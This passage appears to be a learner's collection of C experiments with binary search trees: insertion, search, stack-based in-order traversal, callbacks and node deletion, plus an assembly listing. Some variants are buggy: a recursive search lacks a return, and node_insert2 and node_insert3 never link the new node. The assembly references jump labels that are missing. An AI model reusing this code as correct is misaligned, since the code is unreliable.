*p = tmp;
}
void pop_list(struct list **p, struct node **val) {
struct list *tmp;
tmp = *p;
*val = tmp->val;
*p = (*p)->next;
free(tmp);
}
int in_list(struct list *p, struct node *val) {
for ( ; p ; p = p->next)
if (p->val == val)
return 1;
return 0;
}
int empty_list(struct list *p) {
if (p)
return 0;
else
return 1;
}
void print_tree(struct node *r) {
if (!r)
return;
print_tree(r->left);
printf("%d ", r->val);
print_tree(r->right);
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n n n n n n n n
*/
void print_tree2(struct node *current) {
struct list *prev = NULL, *saw = NULL;
while (current) {
if (current->left && !in_list(saw, current->left)) {
push_list(&prev, current);
current = current->left;
} else if (current->right && !in_list(saw, current->right)) {
push_list(&prev, current);
current = current->right;
} else {
printf("%d ", current->val);
if (!empty_list(prev))
pop_list(&prev, ¤t);
else
return;
}
push_list(&saw, current);
}
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n n n n n n n n
4 21 18 29 39 34 27
18 4 18 21 18 27 34 29 34 39 34 27
4 18 21 18 27 29 34 39 34 27
4 18 21 27 29 34 39
*/
void print_tree3(struct node *current) {
struct list *prev = NULL, *seen = NULL;
while (current) {
push_list(&seen, current);
if (current->left && !in_list(seen, current->left)) {
push_list(&prev, current);
current = current->left;
} else if (current->right && !in_list(seen, current->right)) {
push_list(&prev, current);
current = current->right;
} else {
if (!empty_list(prev))
pop_list(&prev, ¤t);
else
return;
}
if ((!current->left || in_list(seen, current->left)) &&
(!current->right || !in_list(seen, current->right)))
printf("%d ", current->val);
}
}
int sum_tree(struct node *r) {
if (!r)
return 0;
return sum_tree(r->left) + r->val + sum_tree(r->right);
}
struct node **search_tree(struct node **r, int val) {
if (!*r || (*r)->val == val)
return r;
else if (val < (*r)->val)
r = search_tree(&(*r)->left, val);
else if (val > (*r)->val)
r = search_tree(&(*r)->right, val);
}
struct node **search_tree2(struct node **r, int val) {
while (*r) {
if ((*r)->val == val)
return r;
else if (val < (*r)->val)
r = &(*r)->left;
else if (val > (*r)->val)
r = &(*r)->right;
}
return r;
}
int insert_node(struct node **r, int val) {
struct node **pos = search_tree2(r, val);
if (!*pos) {
init_node(pos, val);
return 1;
} else
return 0;
}
int in_tree(struct node *r, int val) {
struct node **pos = search_tree2(&r, val);
if (*pos)
return 1;
else
return 0;
}
int main() {
int res;
struct node *r = NULL;
insert_node(&r, 27);
insert_node(&r, 18);
insert_node(&r, 34);
insert_node(&r, 4);
insert_node(&r, 21);
insert_node(&r, 29);
insert_node(&r, 39);
print_tree3(r);
printf("\n");
/*
res = in_tree(r, 4);
printf("%d\n", res);
res = sum_tree(r);
printf("%d\n", res);
*/
return 1;
}
tree-02.cC / 119 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct node {
int val;
struct node *left, *right;
};
struct task {
struct node *p;
enum states state;
struct task *next;
};
void init_node(struct node **r, int val) {
*r = malloc(sizeof **r);
(*r)->val = val;
(*r)->left = NULL;
(*r)->right = NULL;
}
void push_list(struct task **t, struct node *p, enum states state) {
struct task *tmp;
tmp = malloc(sizeof *tmp);
tmp->p = p;
tmp->state = state;
tmp->next = *t;
*t = tmp;
}
void pop_list(struct task **t, struct node **p) {
struct task *tmp;
tmp = *t;
*p = (*t)->p;
*t = (*t)->next;
free(tmp);
}
struct node **search_tree(struct node **r, int val) {
while (*r) {
if ((*r)->val == val)
return r;
else if (val < (*r)->val)
r = &(*r)->left;
else if (val > (*r)->val)
r = &(*r)->right;
}
return r;
}
int insert_node(struct node **r, int val) {
struct node **pos = search_tree(r, val);
if (!*pos) {
init_node(pos, val);
return 1;
} else
return 0;
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n n n n n n n n
*/
void print_tree(struct node *p) {
struct task *t = NULL;
push_list(&t, p, LEFT);
for (int i = 1; t && i <= 20; i++) {
switch (t->state) {
case (LEFT):
if (p->left) {
t->state = CENTER;
p = p->left;
push_list(&t, p, LEFT);
} else {
pop_list(&t, &p);
printf("%d\n", p->val);
}
break;
case (CENTER):
p = t->p;
if (p->right) {
p = p->right;
push_list(&t, p, RIGHT);
} else {
pop_list(&t, &p);
printf("%d\n", p->val);
}
break;
case (RIGHT):
if (p->left) {
p = p->left;
push_list(&t, p, LEFT);
} else {
pop_list(&t, &p);
printf("%d\n", p->val);
}
}
}
}
int main() {
struct node *r = NULL;
insert_node(&r, 27);
insert_node(&r, 18);
insert_node(&r, 34);
insert_node(&r, 4);
insert_node(&r, 21);
insert_node(&r, 29);
insert_node(&r, 39);
print_tree(r);
return 1;
}
tree-03.cC / 113 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct tree {
int val;
struct tree *left, *right;
};
struct stack {
struct tree *node;
enum states state;
struct stack *next;
};
void init_node(struct tree **node, int val) {
*node = malloc(sizeof **node);
(*node)->val = val;
(*node)->left = NULL;
(*node)->right = NULL;
}
void push(struct stack **task, struct tree *node, enum states state) {
struct stack *tmp;
tmp = malloc(sizeof *tmp);
tmp->node = node;
tmp->state = state;
tmp->next = *task;
*task = tmp;
}
void pop(struct stack **task) {
struct stack *tmp;
tmp = *task;
*task = (*task)->next;
free(tmp);
}
struct tree **search_tree(struct tree **node, int val) {
while (*node) {
if ((*node)->val == val)
return node;
else if (val < (*node)->val)
node = &(*node)->left;
else if (val > (*node)->val)
node = &(*node)->right;
}
return node;
}
int insert_node(struct tree **node, int val) {
struct tree **pos = search_tree(node, val);
if (!*pos) {
init_node(pos, val);
return 1;
} else
return 0;
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n n n n n n n n
*/
void print_tree(struct tree *node) {
struct stack *task = NULL;
push(&task, node, CENTER);
for (int i = 1; task && i <= 20; i++) {
switch (task->state) {
case (LEFT):
pop(&task);
task->state = CENTER;
break;
case (CENTER):
if (task->node->left) {
printf("%d\n", task->node->val);
push(&task, task->node->left, CENTER);
} else {
printf("%d\n", task->node->val);
pop(&task);
task->state = RIGHT;
}
break;
case (RIGHT):
if (task->node->right) {
push(&task, task->node->right, RIGHT);
} else {
printf("%d\n", task->node->val);
pop(&task);
task->state = LEFT;
}
break;
}
}
}
int main() {
struct tree *node = NULL;
insert_node(&node, 27);
insert_node(&node, 18);
insert_node(&node, 34);
insert_node(&node, 4);
insert_node(&node, 21);
insert_node(&node, 29);
insert_node(&node, 39);
print_tree(node);
return 1;
}
tree-04.cC / 143 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct tree {
int value;
struct tree *left, *right;
};
struct stack {
struct tree *node;
enum states state;
int been_left, been_right;
struct stack *next;
};
void init_node(struct tree **node, int value) {
*node = malloc(sizeof **node);
(*node)->value = value;
(*node)->left = NULL;
(*node)->right = NULL;
}
void push(struct stack **task, struct tree *node, enum states state,
int been_left, int been_right) {
struct stack *tmp;
tmp = malloc(sizeof *tmp);
tmp->node = node;
tmp->state = state;
tmp->been_left = been_left;
tmp->been_right = been_right;
tmp->next = *task;
*task = tmp;
}
void pop(struct stack **task) {
struct stack *tmp;
tmp = *task;
*task = (*task)->next;
free(tmp);
}
struct tree **search_tree(struct tree **node, int value) {
while (*node) {
if ((*node)->value == value)
return node;
else if (value < (*node)->value)
node = &(*node)->left;
else if (value > (*node)->value)
node = &(*node)->right;
}
return node;
}
int insert_node(struct tree **node, int value) {
struct tree **pos = search_tree(node, value);
if (!*pos) {
init_node(pos, value);
return 1;
} else
return 0;
}
void print_tree(struct tree *node) {
if (node) {
print_tree(node->left);
printf("%d\n", node->value);
print_tree(node->right);
}
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n 6 n n n n n n
*/
void case_left(struct stack **task) {
struct tree *node = (*task)->node->left;
if (node) {
push(task, node, LEFT, 0, 0);
} else {
(*task)->state = CENTER;
}
}
void case_center(struct stack **task) {
printf("%d\n", (*task)->node->value);
pop(task);
if (*task)
(*task)->state = RIGHT;
else
return;
}
void case_right(struct stack **task) {
struct tree *node = (*task)->node->right;
/*
if (node && node->value == 21)
printf("%d\n", node->value);
*/
if (node) {
push(task, node, RIGHT, 0, 0);
} else {
(*task)->state = LEFT;
}
}
void print_tree2(struct tree *node) {
struct stack *task = NULL;
push(&task, node, LEFT, 0, 0);
for (int i = 1; task && i <= 20; i++) {
switch (task->state) {
case (LEFT):
case_left(&task);
break;
case (CENTER):
case_center(&task);
break;
case (RIGHT):
case_right(&task);
}
}
}
int main() {
struct tree *node = NULL;
insert_node(&node, 27);
insert_node(&node, 18);
insert_node(&node, 34);
insert_node(&node, 4);
insert_node(&node, 21);
insert_node(&node, 29);
insert_node(&node, 39);
insert_node(&node, 6);
print_tree2(node);
return 1;
}
tree-05.cC / 146 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct tree {
int value;
struct tree *left, *right;
};
struct stack {
struct tree *node;
enum states state;
int been_left, been_right;
struct stack *next;
};
void init_node(struct tree **node, int value) {
*node = malloc(sizeof **node);
(*node)->value = value;
(*node)->left = NULL;
(*node)->right = NULL;
}
void push(struct stack **task, struct tree *node) {
struct stack *tmp;
tmp = malloc(sizeof *tmp);
tmp->node = node;
tmp->state = LEFT;
tmp->been_left = 0;
tmp->been_right = 0;
tmp->next = *task;
*task = tmp;
}
void pop(struct stack **task) {
struct stack *tmp;
tmp = *task;
*task = (*task)->next;
free(tmp);
}
struct tree **search_tree(struct tree **node, int value) {
while (*node) {
if ((*node)->value == value)
return node;
else if (value < (*node)->value)
node = &(*node)->left;
else if (value > (*node)->value)
node = &(*node)->right;
}
return node;
}
int insert_node(struct tree **node, int value) {
struct tree **pos = search_tree(node, value);
if (!*pos) {
init_node(pos, value);
return 1;
} else
return 0;
}
void print_tree(struct tree *node) {
if (node) {
print_tree(node->left);
printf("%d\n", node->value);
print_tree(node->right);
}
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n 6 n n n n n n
*/
void case_left(struct stack **task) {
struct tree *node = (*task)->node->left;
if (node && !(*task)->been_left) {
(*task)->been_left = 1;
push(task, node);
} else
(*task)->state = CENTER;
}
void case_center(struct stack **task) {
if (!(*task)->been_right)
printf("%d\n", (*task)->node->value);
(*task)->state = RIGHT;
}
void case_right(struct stack **task) {
struct tree *node = (*task)->node->right;
if (node && !(*task)->been_right) {
(*task)->been_right = 1;
push(task, node);
} else
pop(task);
}
void print_tree2(struct tree *node) {
struct stack *task = NULL;
push(&task, node);
while (task) {
switch (task->state) {
case (LEFT):
case_left(&task);
break;
case (CENTER):
case_center(&task);
break;
case (RIGHT):
case_right(&task);
}
}
}
int main() {
struct tree *node = NULL;
/*
insert_node(&node, 27);
insert_node(&node, 18);
insert_node(&node, 34);
insert_node(&node, 4);
insert_node(&node, 21);
insert_node(&node, 29);
insert_node(&node, 39);
insert_node(&node, 6);
*/
insert_node(&node, 27);
insert_node(&node, 25);
insert_node(&node, 18);
insert_node(&node, 4);
insert_node(&node, 11);
insert_node(&node, 34);
insert_node(&node, 29);
insert_node(&node, 44);
insert_node(&node, 39);
print_tree2(node);
return 0;
}
tree-06.cC / 160 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct tree {
int value;
struct tree *left, *right;
};
struct stack {
struct tree *node;
enum states state;
int been_left, been_right;
struct stack *next;
};
void init_node(struct tree **node, int value) {
*node = malloc(sizeof **node);
(*node)->value = value;
(*node)->left = NULL;
(*node)->right = NULL;
}
void push(struct stack **task, struct tree *node) {
struct stack *tmp;
tmp = malloc(sizeof *tmp);
tmp->node = node;
tmp->state = LEFT;
tmp->been_left = 0;
tmp->been_right = 0;
tmp->next = *task;
*task = tmp;
}
void pop(struct stack **task) {
struct stack *tmp;
tmp = *task;
*task = (*task)->next;
free(tmp);
}
int insert_node(struct tree **node, int value) {
int res;
if (!(*node)) {
init_node(node, value);
res = 1;
} else if (value < (*node)->value)
res = insert_node(&(*node)->left, value);
else if (value > (*node)->value)
res = insert_node(&(*node)->right, value);
else
res = 0;
return res;
}
struct tree **search_tree(struct tree **node, int value) {
while (*node) {
if ((*node)->value == value)
return node;
else if (value < (*node)->value)
node = &(*node)->left;
else if (value > (*node)->value)
node = &(*node)->right;
}
return node;
}
int insert_node2(struct tree **node, int value) {
struct tree **pos = search_tree(node, value);
if (!*pos) {
init_node(pos, value);
return 1;
} else
return 0;
}
void print_tree(struct tree *node) {
if (node) {
print_tree(node->left);
printf("%d\n", node->value);
print_tree(node->right);
}
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n 6 n n n n n n
*/
void case_left(struct stack **task) {
struct tree *node = (*task)->node->left;
if (node && !(*task)->been_left) {
(*task)->been_left = 1;
push(task, node);
} else
(*task)->state = CENTER;
}
void case_center(struct stack **task) {
if (!(*task)->been_right)
printf("%d\n", (*task)->node->value);
(*task)->state = RIGHT;
}
void case_right(struct stack **task) {
struct tree *node = (*task)->node->right;
if (node && !(*task)->been_right) {
(*task)->been_right = 1;
push(task, node);
} else
pop(task);
}
void print_tree2(struct tree *node) {
struct stack *task = NULL;
push(&task, node);
while (task) {
switch (task->state) {
case (LEFT):
case_left(&task);
break;
case (CENTER):
case_center(&task);
break;
case (RIGHT):
case_right(&task);
}
}
}
int main() {
struct tree *node = NULL;
/*
insert_node(&node, 27);
insert_node(&node, 18);
insert_node(&node, 34);
insert_node(&node, 4);
insert_node(&node, 21);
insert_node(&node, 29);
insert_node(&node, 39);
insert_node(&node, 6);
*/
insert_node(&node, 27);
insert_node(&node, 25);
insert_node(&node, 18);
insert_node(&node, 4);
insert_node(&node, 11);
insert_node(&node, 34);
insert_node(&node, 29);
insert_node(&node, 44);
insert_node(&node, 39);
print_tree2(node);
return 0;
}
tree-07.cC / 182 lines
#include <stdio.h>
#include <stdlib.h>
enum states { LEFT, CENTER, RIGHT };
struct tree {
int value;
struct tree *left, *right;
};
struct stack
{
struct tree *node;
enum states state;
int been_left, been_right;
struct stack *next;
};
void init_node(struct tree **node, int value)
{
*node = malloc(sizeof **node);
(*node)->value = value;
(*node)->left = NULL;
(*node)->right = NULL;
}
void push(struct stack **task, struct tree *node)
{
struct stack *tmp;
tmp = malloc(sizeof *tmp);
tmp->node = node;
tmp->state = LEFT;
tmp->been_left = 0;
tmp->been_right = 0;
tmp->next = *task;
*task = tmp;
}
void pop(struct stack **task)
{
struct stack *tmp;
tmp = *task;
*task = (*task)->next;
free(tmp);
}
int insert_node(struct tree **node, int value)
{
int res;
if (!(*node)) {
init_node(node, value);
res = 1;
} else if (value < (*node)->value)
res = insert_node(&(*node)->left, value);
else if (value > (*node)->value)
res = insert_node(&(*node)->right, value);
else
res = 0;
return res;
}
struct tree **search_tree(struct tree **node, int value)
{
while (*node) {
if ((*node)->value == value)
return node;
else if (value < (*node)->value)
node = &(*node)->left;
else if (value > (*node)->value)
node = &(*node)->right;
}
return node;
}
int insert_node2(struct tree **node, int value)
{
struct tree **pos = search_tree(node, value);
if (!*pos) {
init_node(pos, value);
return 1;
} else
return 0;
}
void print_tree(struct tree *node)
{
if (node) {
print_tree(node->left);
printf("%d\n", node->value);
print_tree(node->right);
}
}
/*
27
/ \
18 34
/ \ / \
4 21 29 39
/ \ / \ / \ / \
n 6 n n n n n n
*/
void case_left(struct stack **task)
{
struct tree *node = (*task)->node->left;
if (node && !(*task)->been_left) {
(*task)->been_left = 1;
push(task, node);
} else
(*task)->state = CENTER;
}
void case_center(struct stack **task)
{
if (!(*task)->been_right)
printf("%d\n", (*task)->node->value);
(*task)->state = RIGHT;
}
void case_right(struct stack **task)
{
struct tree *node = (*task)->node->right;
if (node && !(*task)->been_right) {
(*task)->been_right = 1;
push(task, node);
} else
pop(task);
}
void print_tree2(struct tree *node)
{
struct stack *task = NULL;
push(&task, node);
while (task) {
switch (task->state) {
case (LEFT):
case_left(&task);
break;
case (CENTER):
case_center(&task);
break;
case (RIGHT):
case_right(&task);
}
}
}
void callback_sum(int value, void *userdata)
{
int *sum = userdata;
*sum += value;
}
void walk_tree(struct tree *node,
void (*callback)(int, void *),
void *userdata)
{
if (node) {
walk_tree(node->left, callback, userdata);
callback(node->value, userdata);
walk_tree(node->right, callback, userdata);
}
}
int main() {
int sum = 0;
struct tree *node = NULL;
insert_node(&node, 27);
insert_node(&node, 25);
insert_node(&node, 18);
insert_node(&node, 4);
insert_node(&node, 11);
insert_node(&node, 34);
insert_node(&node, 29);
insert_node(&node, 44);
insert_node(&node, 39);
print_tree2(node);
walk_tree(node, callback_sum, &sum);
printf("%d\n", sum);
return 0;
}
tree-08.cC / 126 lines
#include <stdio.h>
#include <stdlib.h>
typedef enum {
start, been, end
} states;
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
typedef struct stack_s {
node *n;
states state;
struct stack_s* next;
} stack;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void stack_push(stack **p, node *n, states state)
{
stack *tmp;
tmp = xmalloc(sizeof(stack));
tmp->n = n;
tmp->state = state;
tmp->next = *p;
*p = tmp;
}
void stack_remove(stack **p)
{
stack *tmp;
tmp = *p;
*p = (*p)->next;
free(tmp);
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
void print_tree2(node *p)
{
stack *s = NULL;
stack_push(&s, p, start);
while (s) {
switch (s->state) {
case start:
s->state = been;
if (s->n->left)
stack_push(&s, s->n->left, start);
break;
case been:
printf("%d ", s->n->value);
s->state = end;
if (s->n->right)
stack_push(&s, s->n->right, start);
break;
case end:
stack_remove(&s);
}
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 7);
node_insert(&p, 6);
node_insert(&p, 8);
node_insert(&p, 9);
print_tree2(p);
printf("\n");
return 0;
}
tree-09.asmAssembly / 231 lines
xmalloc:
push rbp
mov rbp, rsp
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
cdqe
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
jne .L2
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 34
mov esi, 1
lea rax, .LC0[rip]
mov rdi, rax
call fwrite@PLT
mov edi, 1
call exit@PLT
mov rax, QWORD PTR -8[rbp]
leave
ret
node_init:
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov edi, 24
call xmalloc
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -12[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR 8[rax], 0
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR 16[rax], 0
nop
leave
ret
node_search:
push rbp
mov rbp, rsp
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
jmp .L6
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -12[rbp], eax
jge .L7
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
add rax, 8
mov QWORD PTR -8[rbp], rax
jmp .L6
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
add rax, 16
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
je .L8
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -12[rbp], eax
jne .L9
mov rax, QWORD PTR -8[rbp]
pop rbp
ret
node_search2:
push rbp
mov rbp, rsp
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
jmp .L12
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -12[rbp], eax
jge .L13
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -8[rbp], rax
jmp .L12
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
je .L14
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -12[rbp], eax
jne .L15
mov rax, QWORD PTR -8[rbp]
pop rbp
ret
node_insert:
push rbp
mov rbp, rsp
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov edx, DWORD PTR -28[rbp]
mov rax, QWORD PTR -24[rbp]
mov esi, edx
mov rdi, rax
call node_search
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
jne .L18
mov edx, DWORD PTR -28[rbp]
mov rax, QWORD PTR -8[rbp]
mov esi, edx
mov rdi, rax
call node_init
mov eax, 1
jmp .L19
mov eax, 0
leave
ret
node_insert2:
push rbp
mov rbp, rsp
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -28[rbp]
mov esi, edx
mov rdi, rax
call node_search2
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
test rax, rax
jne .L21
mov edx, DWORD PTR -28[rbp]
lea rax, -8[rbp]
mov esi, edx
mov rdi, rax
call node_init
mov eax, 1
jmp .L23
mov eax, 0
leave
ret
print_tree:
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L26
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
mov rdi, rax
call print_tree
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
mov esi, eax
lea rax, .LC1[rip]
mov rdi, rax
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 16[rax]
mov rdi, rax
call print_tree
nop
leave
ret
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov QWORD PTR -8[rbp], 0
lea rax, -8[rbp]
mov esi, 5
mov rdi, rax
call node_insert2
lea rax, -8[rbp]
mov esi, 3
mov rdi, rax
call node_insert
lea rax, -8[rbp]
mov esi, 2
mov rdi, rax
call node_insert2
lea rax, -8[rbp]
mov esi, 4
mov rdi, rax
call node_insert
lea rax, -8[rbp]
mov esi, 1
mov rdi, rax
call node_insert2
lea rax, -8[rbp]
mov esi, 7
mov rdi, rax
call node_insert
lea rax, -8[rbp]
mov esi, 6
mov rdi, rax
call node_insert2
lea rax, -8[rbp]
mov esi, 8
mov rdi, rax
call node_insert
lea rax, -8[rbp]
mov esi, 9
mov rdi, rax
call node_insert2
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call print_tree
mov edi, 10
call putchar@PLT
mov eax, 0
leave
ret
tree-09.cC / 113 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
node *node_search2(node *p, int value)
{
while (p && value != p->value)
if (value < p->value)
p = p->left;
else
p = p->right;
return p;
}
int node_insert2(node **p, int value)
{
node *loc = node_search2(*p, value);
if (!loc) {
node_init(&loc, value);
return 1;
} else
return 0;
}
void node_search3(node *p, int value)
{
while (p && value != p->value)
if (value < p->value)
p = p->left;
else
p = p->right;
}
int node_insert3(node **p, int value)
{
node *loc = *p;
node_search3(loc, value);
if (!loc) {
node_init(&loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert2(&p, 5);
node_insert(&p, 3);
node_insert2(&p, 2);
node_insert(&p, 4);
node_insert2(&p, 1);
node_insert(&p, 7);
node_insert2(&p, 6);
node_insert(&p, 8);
node_insert2(&p, 9);
print_tree(p);
printf("\n");
return 0;
}
tree-10.cC / 92 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
node *node_search2(node *p, int value)
{
while (p && value != p->value)
if (value < p->value)
p = p->left;
else
p = p->right;
return p;
}
int node_insert2(node **p, int value)
{
node *loc = node_search2(*p, value);
if (!loc) {
node_init(&loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert2(&p, 5);
node_insert(&p, 3);
node_insert2(&p, 2);
node_insert(&p, 4);
node_insert2(&p, 1);
node_insert(&p, 7);
node_insert2(&p, 6);
node_insert(&p, 8);
node_insert2(&p, 9);
print_tree(p);
printf("\n");
return 0;
}
tree-11.cC / 135 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
/*
5
/ \
3 8
/ \ / \
2 4 6 9
/ \ / \ / \ / \
1 n n n n 7 n 10
*/
/*
5
/ \
3 6
/ \ / \
2 4 n 7
/ \ / \ / \
1 n n n n 9
\
10
*/
/*
5
/ \
3 9
/ \ / \
2 4 6 10
/ \ / \ / \ / \
1 n n n n 7 n n
*/
void node_remove(node **p, int value)
{
node *tmp;
/* check if left or right branches are longer */
tmp = *p;
if (tmp->left) {
*p = tmp->left;
while ((*p)->right)
p = &(*p)->right;
(*p)->right = tmp->right;
} else if (tmp->right)
*p = tmp->right;
else
*p = NULL;
free(tmp);
}
int node_delete(node **p, int value)
{
node **loc = node_search(p, value);
if (*loc) {
node_remove(loc, value);
return 1;
} else
return 0;
}
void print_tree(node *p)
{
if (p) {
print_tree(p->left);
printf("%d ", p->value);
print_tree(p->right);
}
}
int main()
{
node *p = NULL;
node_insert(&p, 5);
node_insert(&p, 3);
node_insert(&p, 2);
node_insert(&p, 4);
node_insert(&p, 1);
node_insert(&p, 8);
node_insert(&p, 6);
node_insert(&p, 7);
node_insert(&p, 9);
node_insert(&p, 10);
print_tree(p);
printf("\n");
node_delete(&p, 5);
print_tree(p);
printf("\n");
return 0;
}
tree-12.cC / 153 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *left, *right;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void node_init(node **p, int value)
{
*p = xmalloc(sizeof(node));
(*p)->value = value;
(*p)->left = NULL;
(*p)->right = NULL;
}
node **node_search(node **p, int value)
{
while (*p && value != (*p)->value)
if (value < (*p)->value)
p = &(*p)->left;
else
p = &(*p)->right;
return p;
}
int node_insert(node **p, int value)
{
node **loc = node_search(p, value);
if (!*loc) {
node_init(loc, value);
return 1;
} else
return 0;
}
/*
5
/ \
3 8
/ \ / \
2 4 6 9
/ \ / \ / \ / \
1 n n n n 7 n 10
*/
/*
5
/ \
3 6
/ \ / \
2 4 n 7
/ \ / \ / \
1 n n n n 9
\
10
*/
/*
5
/ \
3 9
/ \ / \
2 4 6 10
/ \ / \ / \ / \
1 n n n n 7 n n
*/
int node_count(node *p, int is_right)
{
int i;
for (i = 0; p; i++)
if (is_right)
